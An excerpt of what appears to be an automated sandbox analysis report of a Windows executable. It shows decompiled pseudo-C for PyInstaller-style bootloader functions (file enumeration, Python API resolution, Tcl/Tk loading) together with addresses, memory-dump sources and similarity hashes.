                                                                                                                              0x7ff7da8e9a6c
                                                                                                                              0x7ff7da8e9a6e
                                                                                                                              0x7ff7da8e9a7a
                                                                                                                              0x7ff7da8e9a80
                                                                                                                              0x7ff7da8e9a8b
                                                                                                                              0x7ff7da8e9a91
                                                                                                                              0x7ff7da8e9a9b
                                                                                                                              0x7ff7da8e9aa4
                                                                                                                              0x7ff7da8e9aa8
                                                                                                                              0x7ff7da8e9aad
                                                                                                                              0x7ff7da8e9ac2
                                                                                                                              0x7ff7da8e9ac5
                                                                                                                              0x7ff7da8e9ace
                                                                                                                              0x7ff7da8e9ad0
                                                                                                                              0x7ff7da8e9ae3
                                                                                                                              0x7ff7da8e9af0
                                                                                                                              0x7ff7da8e9af9
                                                                                                                              0x7ff7da8e9b00
                                                                                                                              0x7ff7da8e9b0d
                                                                                                                              0x7ff7da8e9b1f
                                                                                                                              0x7ff7da8e9b23
                                                                                                                              0x7ff7da8e9b31
                                                                                                                              0x7ff7da8e9b35
                                                                                                                              0x7ff7da8e9b39
                                                                                                                              0x7ff7da8e9b43
                                                                                                                              0x7ff7da8e9b56
                                                                                                                              0x7ff7da8e9b5a
                                                                                                                              0x7ff7da8e9b5f
                                                                                                                              0x7ff7da8e9b8e

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1239891234-0
                                                                                                                              • Opcode ID: d01ddf7f56426acea5c43d672f80e072ef38b87dfc08171ccb6652c2c2b7d2bb
                                                                                                                              • Instruction ID: f892264354e35f347c456d6c076da8cf8f48b20e22286567647a480b81df883c
                                                                                                                              • Opcode Fuzzy Hash: d01ddf7f56426acea5c43d672f80e072ef38b87dfc08171ccb6652c2c2b7d2bb
                                                                                                                              • Instruction Fuzzy Hash: 15317132608B8285EB219B25E8402ADB3A4FB98754F940536EE9D43B96DF3CD555CB10
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F0904 Relevance: 7.8, APIs: 5, Instructions: 282COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 86%
                                                                                                                              			E00007FF77FF7DA8F0904(void* __ecx, long long __rbx, intOrPtr* __rcx, void** __rdx) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* __r15;
				signed int _t70;
				void* _t77;
				signed int _t96;
				void* _t109;
				void* _t113;
				signed long long _t140;
				signed long long _t141;
				intOrPtr _t142;
				signed short* _t143;
				intOrPtr* _t145;
				void* _t146;
				intOrPtr* _t154;
				intOrPtr* _t156;
				intOrPtr* _t159;
				long long _t160;
				intOrPtr* _t161;
				signed short* _t167;
				signed short* _t168;
				signed long long _t180;
				signed long long _t182;
				long long _t186;
				signed long long _t202;
				void* _t207;
				intOrPtr* _t211;
				intOrPtr* _t212;
				void* _t214;
				intOrPtr _t220;
				void* _t222;
				void* _t223;
				void* _t225;
				signed long long _t226;
				void* _t228;
				void* _t239;
				signed long long _t240;
				long long _t241;
				void* _t244;
				union _FINDEX_INFO_LEVELS _t249;
				signed short* _t250;
				signed long long _t254;
				intOrPtr* _t255;
				WCHAR* _t258;
				signed long long _t260;

				 *((long long*)(_t225 + 0x18)) = __rbx;
				_t223 = _t225 - 0x1c0;
				_t226 = _t225 - 0x2c0;
				_t140 =  *0xda90d008; // 0xe3add53f52b8
				_t141 = _t140 ^ _t226;
				 *(_t223 + 0x1b8) = _t141;
				r12d = 0;
				 *((long long*)(_t226 + 0x50)) = __rdx;
				if (__rdx != 0) goto 0xda8f095c;
				E00007FF77FF7DA8E4394(_t141);
				_t5 = _t239 + 0x16; // 0x16
				 *_t141 = _t5;
				E00007FF77FF7DA8E9D00();
				goto 0xda8f0cb4;
				asm("xorps xmm0, xmm0");
				 *__rdx = _t239;
				_t142 =  *((intOrPtr*)(__rcx));
				asm("movdqu [esp+0x30], xmm0");
				 *(_t226 + 0x40) = _t239;
				if (_t142 == 0) goto 0xda8f0b8c;
				 *((intOrPtr*)(_t223 + 0x1b0)) = 0x3f002a;
				 *((intOrPtr*)(_t223 + 0x1b4)) = r12w;
				E00007FF77FF7DA8EE550(_t142, _t223 + 0x1b0);
				_t250 =  *((intOrPtr*)(__rcx));
				if (_t142 != 0) goto 0xda8f09e4;
				r8d = 0;
				_t167 = _t250;
				if (E00007FF77FF7DA8F0CF4(0x801, _t167, _t223 + 0x1b0,  *((intOrPtr*)(_t226 + 0x38)), _t228, _t226 + 0x30) != 0) goto 0xda8f0b35;
				goto 0xda8f0b29;
				if (_t142 == _t250) goto 0xda8f0a08;
				_t109 = ( *_t167 & 0x0000ffff) - 0x2f - 0x2d;
				if (_t109 > 0) goto 0xda8f09ff;
				asm("dec eax");
				if (_t109 < 0) goto 0xda8f0a08;
				_t168 = _t167 - 2;
				if (_t168 != _t250) goto 0xda8f09e9;
				_t96 =  *_t168 & 0x0000ffff;
				if (_t96 != 0x3a) goto 0xda8f0a1a;
				_t143 =  &(_t250[1]);
				if (_t168 != _t143) goto 0xda8f0a69;
				_t113 = _t96 - 0x2f - 0x2d;
				if (_t113 > 0) goto 0xda8f0a2f;
				asm("dec eax");
				if (_t113 < 0) goto 0xda8f0a32;
				 *((intOrPtr*)(_t226 + 0x28)) = r12d;
				 *(_t226 + 0x20) = _t239;
				asm("dec ebp");
				r9d = 0;
				FindFirstFileExW(_t258, _t249, _t244);
				if (_t143 != 0xffffffff) goto 0xda8f0a95;
				if (E00007FF77FF7DA8F0CF4(_t143, _t250, _t239,  *((intOrPtr*)(_t226 + 0x38)), _t239, _t226 + 0x30) != 0) goto 0xda8f0b64;
				goto 0xda8f0b29;
				_t240 =  *((intOrPtr*)(_t226 + 0x38)) -  *((intOrPtr*)(_t226 + 0x30)) >> 3;
				if ( *((short*)(_t223 - 0x74)) != 0x2e) goto 0xda8f0abd;
				_t70 =  *(_t223 - 0x72) & 0x0000ffff;
				if (_t70 == 0) goto 0xda8f0adb;
				if (_t70 != 0x2e) goto 0xda8f0abd;
				if ( *((intOrPtr*)(_t223 - 0x70)) == 0) goto 0xda8f0adb;
				if (E00007FF77FF7DA8F0CF4(_t143, _t223 - 0x74, _t250,  *((intOrPtr*)(_t226 + 0x38)) -  *((intOrPtr*)(_t226 + 0x30)) >> 3, _t244 & (_t168 - _t250 >> 0x00000001) + 0x00000001, _t226 + 0x30) != 0) goto 0xda8f0b5b;
				if (FindNextFileW(_t239) != 0) goto 0xda8f0aa1;
				_t220 =  *((intOrPtr*)(_t226 + 0x38));
				_t211 =  *((intOrPtr*)(_t226 + 0x30));
				if (_t240 == _t220 - _t211 >> 3) goto 0xda8f0b1d;
				_t33 =  &(_t143[4]); // 0x8
				r8d = _t33;
				E00007FF77FF7DA8F6710(_t143, _t211 + _t240 * 8, (_t220 - _t211 >> 3) - _t240, _t211, _t220, _t223, _t244 & (_t168 - _t250 >> 0x00000001) + 0x00000001, 0x7ff7da8f08f0, __rcx);
				FindClose(_t207);
				r12d = 0;
				_t260 = __rcx + 8;
				goto 0xda8f097a;
				_t154 = _t211;
				if (_t211 ==  *((intOrPtr*)(_t226 + 0x38))) goto 0xda8f0c07;
				E00007FF77FF7DA8E9D68( *_t260,  *_t154);
				if (_t154 + 8 !=  *((intOrPtr*)(_t226 + 0x38))) goto 0xda8f0b43;
				goto 0xda8f0c07;
				FindClose(_t214);
				_t212 =  *((intOrPtr*)(_t226 + 0x30));
				_t156 = _t212;
				if (_t212 ==  *((intOrPtr*)(_t226 + 0x38))) goto 0xda8f0c07;
				_t180 =  *_t156;
				_t77 = E00007FF77FF7DA8E9D68( *_t260, _t180);
				if (_t156 + 8 !=  *((intOrPtr*)(_t226 + 0x38))) goto 0xda8f0b77;
				goto 0xda8f0c07;
				_t202 = _t240;
				 *(_t226 + 0x48) = _t202;
				_t145 = _t212;
				_t254 = (_t220 - _t212 >> 3) + 1;
				if (_t212 == _t220) goto 0xda8f0bce;
				_t182 = (_t180 | 0xffffffff) + 1;
				if ( *((intOrPtr*)( *_t145 + _t182 * 2)) != r12w) goto 0xda8f0bb0;
				_t146 = _t145 + 8;
				if (_t146 != _t220) goto 0xda8f0ba9;
				 *(_t226 + 0x48) = _t202 + 1 + _t182;
				r8d = 2;
				E00007FF77FF7DA8E7D5C(_t77, _t254, _t202 + 1 + _t182, _t244 & (_t168 - _t250 >> 0x00000001) + 0x00000001);
				if (_t146 != 0) goto 0xda8f0c16;
				E00007FF77FF7DA8E9D68(_t146, _t254);
				_t159 = _t212;
				if (_t212 == _t220) goto 0xda8f0c04;
				E00007FF77FF7DA8E9D68(_t146,  *_t159);
				_t160 = _t159 + 8;
				if (_t160 != _t220) goto 0xda8f0bf3;
				E00007FF77FF7DA8E9D68(_t146, _t212);
				goto 0xda8f0cb4;
				_t186 = _t146 + _t254 * 8;
				_t255 = _t212;
				 *((long long*)(_t223 + 0x1b0)) = _t186;
				_t241 = _t186;
				if (_t212 == _t220) goto 0xda8f0c82;
				if ( *((intOrPtr*)( *_t255 + ((_t260 | 0xffffffff) + 1) * 2)) != 0) goto 0xda8f0c3b;
				if (E00007FF77FF7DA8F07F0(_t241 - _t186 >> 1, _t160, _t241,  *(_t226 + 0x48) - (_t241 - _t186 >> 1), _t220,  *_t255, (_t260 | 0xffffffff) + 2, _t222) != 0) goto 0xda8f0cde;
				 *((long long*)(_t255 + _t160 - _t212)) = _t241;
				if (_t255 + 8 != _t220) goto 0xda8f0c32;
				 *((long long*)( *((intOrPtr*)(_t226 + 0x50)))) = _t160;
				E00007FF77FF7DA8E9D68( *((intOrPtr*)(_t226 + 0x50)),  *((intOrPtr*)(_t223 + 0x1b0)));
				_t161 = _t212;
				if (_t212 == _t220) goto 0xda8f0caa;
				E00007FF77FF7DA8E9D68( *((intOrPtr*)(_t226 + 0x50)),  *_t161);
				if (_t161 + 8 != _t220) goto 0xda8f0c99;
				E00007FF77FF7DA8E9D68( *((intOrPtr*)(_t226 + 0x50)), _t212);
				return E00007FF77FF7DA8DACF0(0, 0,  *(_t223 + 0x1b8) ^ _t226);
			}

















































                                                                                                                              0x7ff7da8f0904
                                                                                                                              0x7ff7da8f0914
                                                                                                                              0x7ff7da8f091c
                                                                                                                              0x7ff7da8f0923
                                                                                                                              0x7ff7da8f092a
                                                                                                                              0x7ff7da8f092d
                                                                                                                              0x7ff7da8f0934
                                                                                                                              0x7ff7da8f0937
                                                                                                                              0x7ff7da8f0942
                                                                                                                              0x7ff7da8f0944
                                                                                                                              0x7ff7da8f0949
                                                                                                                              0x7ff7da8f094e
                                                                                                                              0x7ff7da8f0950
                                                                                                                              0x7ff7da8f0957
                                                                                                                              0x7ff7da8f095c
                                                                                                                              0x7ff7da8f095f
                                                                                                                              0x7ff7da8f0962
                                                                                                                              0x7ff7da8f0965
                                                                                                                              0x7ff7da8f0975
                                                                                                                              0x7ff7da8f097d
                                                                                                                              0x7ff7da8f098a
                                                                                                                              0x7ff7da8f0997
                                                                                                                              0x7ff7da8f09a9
                                                                                                                              0x7ff7da8f09ae
                                                                                                                              0x7ff7da8f09b7
                                                                                                                              0x7ff7da8f09be
                                                                                                                              0x7ff7da8f09c3
                                                                                                                              0x7ff7da8f09d4
                                                                                                                              0x7ff7da8f09df
                                                                                                                              0x7ff7da8f09e7
                                                                                                                              0x7ff7da8f09f0
                                                                                                                              0x7ff7da8f09f4
                                                                                                                              0x7ff7da8f09f9
                                                                                                                              0x7ff7da8f09fd
                                                                                                                              0x7ff7da8f09ff
                                                                                                                              0x7ff7da8f0a06
                                                                                                                              0x7ff7da8f0a08
                                                                                                                              0x7ff7da8f0a0f
                                                                                                                              0x7ff7da8f0a11
                                                                                                                              0x7ff7da8f0a18
                                                                                                                              0x7ff7da8f0a1e
                                                                                                                              0x7ff7da8f0a22
                                                                                                                              0x7ff7da8f0a27
                                                                                                                              0x7ff7da8f0a2d
                                                                                                                              0x7ff7da8f0a35
                                                                                                                              0x7ff7da8f0a45
                                                                                                                              0x7ff7da8f0a4c
                                                                                                                              0x7ff7da8f0a4f
                                                                                                                              0x7ff7da8f0a5a
                                                                                                                              0x7ff7da8f0a67
                                                                                                                              0x7ff7da8f0a80
                                                                                                                              0x7ff7da8f0a90
                                                                                                                              0x7ff7da8f0a9c
                                                                                                                              0x7ff7da8f0aa6
                                                                                                                              0x7ff7da8f0aa8
                                                                                                                              0x7ff7da8f0aaf
                                                                                                                              0x7ff7da8f0ab5
                                                                                                                              0x7ff7da8f0abb
                                                                                                                              0x7ff7da8f0ad5
                                                                                                                              0x7ff7da8f0aeb
                                                                                                                              0x7ff7da8f0aed
                                                                                                                              0x7ff7da8f0af2
                                                                                                                              0x7ff7da8f0b04
                                                                                                                              0x7ff7da8f0b14
                                                                                                                              0x7ff7da8f0b14
                                                                                                                              0x7ff7da8f0b18
                                                                                                                              0x7ff7da8f0b20
                                                                                                                              0x7ff7da8f0b26
                                                                                                                              0x7ff7da8f0b29
                                                                                                                              0x7ff7da8f0b30
                                                                                                                              0x7ff7da8f0b35
                                                                                                                              0x7ff7da8f0b3d
                                                                                                                              0x7ff7da8f0b46
                                                                                                                              0x7ff7da8f0b54
                                                                                                                              0x7ff7da8f0b56
                                                                                                                              0x7ff7da8f0b5e
                                                                                                                              0x7ff7da8f0b64
                                                                                                                              0x7ff7da8f0b69
                                                                                                                              0x7ff7da8f0b71
                                                                                                                              0x7ff7da8f0b77
                                                                                                                              0x7ff7da8f0b7a
                                                                                                                              0x7ff7da8f0b88
                                                                                                                              0x7ff7da8f0b8a
                                                                                                                              0x7ff7da8f0b8f
                                                                                                                              0x7ff7da8f0b95
                                                                                                                              0x7ff7da8f0b9e
                                                                                                                              0x7ff7da8f0ba1
                                                                                                                              0x7ff7da8f0ba7
                                                                                                                              0x7ff7da8f0bb0
                                                                                                                              0x7ff7da8f0bb8
                                                                                                                              0x7ff7da8f0bbd
                                                                                                                              0x7ff7da8f0bc7
                                                                                                                              0x7ff7da8f0bc9
                                                                                                                              0x7ff7da8f0bce
                                                                                                                              0x7ff7da8f0bd7
                                                                                                                              0x7ff7da8f0be2
                                                                                                                              0x7ff7da8f0be6
                                                                                                                              0x7ff7da8f0beb
                                                                                                                              0x7ff7da8f0bf1
                                                                                                                              0x7ff7da8f0bf6
                                                                                                                              0x7ff7da8f0bfb
                                                                                                                              0x7ff7da8f0c02
                                                                                                                              0x7ff7da8f0c0a
                                                                                                                              0x7ff7da8f0c11
                                                                                                                              0x7ff7da8f0c16
                                                                                                                              0x7ff7da8f0c1a
                                                                                                                              0x7ff7da8f0c1d
                                                                                                                              0x7ff7da8f0c24
                                                                                                                              0x7ff7da8f0c2a
                                                                                                                              0x7ff7da8f0c43
                                                                                                                              0x7ff7da8f0c68
                                                                                                                              0x7ff7da8f0c71
                                                                                                                              0x7ff7da8f0c80
                                                                                                                              0x7ff7da8f0c89
                                                                                                                              0x7ff7da8f0c8c
                                                                                                                              0x7ff7da8f0c91
                                                                                                                              0x7ff7da8f0c97
                                                                                                                              0x7ff7da8f0c9c
                                                                                                                              0x7ff7da8f0ca8
                                                                                                                              0x7ff7da8f0cad
                                                                                                                              0x7ff7da8f0cdd

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: FileFindFirst_invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2227656907-0
                                                                                                                              • Opcode ID: 666c74e6fffe6e96b510908b2bfde1f57f826ae5c607955d2696b43aa9f9a94b
                                                                                                                              • Instruction ID: 23ec20a17a69d60756a2ee8a346ba36e0ee37697c53d99839a55494ef236c7de
                                                                                                                              • Opcode Fuzzy Hash: 666c74e6fffe6e96b510908b2bfde1f57f826ae5c607955d2696b43aa9f9a94b
                                                                                                                              • Instruction Fuzzy Hash: BBB1D422B186D785FA62AB2194001BDE760FB64BE4FC44173ED5D47B8AEE3CE561C320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD8622E8 Relevance: 6.4, APIs: 5, Instructions: 140COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memmove$memset
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3790616698-0
                                                                                                                              • Opcode ID: 51b66f021cd6887e2f3166c0257dd0c7f3025c7e02eaaa6dc68159711c9c4620
                                                                                                                              • Instruction ID: 955800baa97e39536f9f3d2d3eaee3f768d0b8853d4097c09fe32c6ae4df4b57
                                                                                                                              • Opcode Fuzzy Hash: 51b66f021cd6887e2f3166c0257dd0c7f3025c7e02eaaa6dc68159711c9c4620
                                                                                                                              • Instruction Fuzzy Hash: C051EF2271CB9A86DB10DB12E45026AABA4FB89BD4F845135EEAD037D6EE3CD104C764
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D3DD0 Relevance: 291.0, APIs: 55, Strings: 111, Instructions: 457libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 23%
                                                                                                                              			E00007FF77FF7DA8D3DD0(void* __edx, long long __rax, struct HINSTANCE__* __rbx, void* __rcx, void* _a8) {
				void* _t20;
				void* _t21;

				GetProcAddress(__rbx);
				 *0xda90dca8 = __rax;
				if (__rax != 0) goto 0xda8d3e1b;
				E00007FF77FF7DA8D2620(__rax, __rax, "GetProcAddress", "Failed to get address for Py_DontWriteBytecodeFlag\n", _t20, _t21);
				return 0xffffffff;
			}





                                                                                                                              0x7ff7da8d3de6
                                                                                                                              0x7ff7da8d3dec
                                                                                                                              0x7ff7da8d3df6
                                                                                                                              0x7ff7da8d3e06
                                                                                                                              0x7ff7da8d3e1a

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc
                                                                                                                              • String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_UTF8Mode$Failed to get address for Py_UnbufferedStdioFlag$Failed to get address for Py_VerboseFlag$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyRun_SimpleStringFlags$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_UTF8Mode$Py_UnbufferedStdioFlag$Py_VerboseFlag
                                                                                                                              • API String ID: 190572456-3109299426
                                                                                                                              • Opcode ID: 6e6539b2492bcb566142f8ce84d8e1d9cc234e654b2aa916a41ae674904a9854
                                                                                                                              • Instruction ID: 69c80da23c30c5a95c2656c4344378e68197b8a753d53636adcba2003ffa9457
                                                                                                                              • Opcode Fuzzy Hash: 6e6539b2492bcb566142f8ce84d8e1d9cc234e654b2aa916a41ae674904a9854
                                                                                                                              • Instruction Fuzzy Hash: 0442D565A09B0399FE06BB04B8441BCE3A5BF64794BD854B7CC0E462A6FF7CE564C324
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D55B0 Relevance: 166.5, APIs: 31, Strings: 64, Instructions: 287libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 40%
                                                                                                                              			E00007FF77FF7DA8D55B0(long long __rax, void* __rcx) {
				void* __rbx;
				long long _t11;
				void* _t12;
				void* _t22;
				void* _t23;

				_t11 = __rax;
				_t12 = __rcx;
				E00007FF77FF7DA8D7120(__rax, __rcx, __rcx + 0x10);
				 *((long long*)(_t12 + 0x4048)) = _t11;
				E00007FF77FF7DA8D7120(_t11, _t12, _t12 + 0x1010);
				 *((long long*)(_t12 + 0x4050)) = _t11;
				if ( *((intOrPtr*)(_t12 + 0x4048)) == 0) goto 0xda8d55fa;
				if (_t11 == 0) goto 0xda8d55fa;
				goto 0xda8d5f30;
				E00007FF77FF7DA8D2770(_t11, "LOADER: Failed to load tcl/tk libraries\n", _t11, _t22, _t23);
				return 0xffffffff;
			}








                                                                                                                              0x7ff7da8d55b0
                                                                                                                              0x7ff7da8d55b6
                                                                                                                              0x7ff7da8d55bd
                                                                                                                              0x7ff7da8d55c9
                                                                                                                              0x7ff7da8d55d0
                                                                                                                              0x7ff7da8d55dc
                                                                                                                              0x7ff7da8d55e6
                                                                                                                              0x7ff7da8d55eb
                                                                                                                              0x7ff7da8d55f5
                                                                                                                              0x7ff7da8d5601
                                                                                                                              0x7ff7da8d5610

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
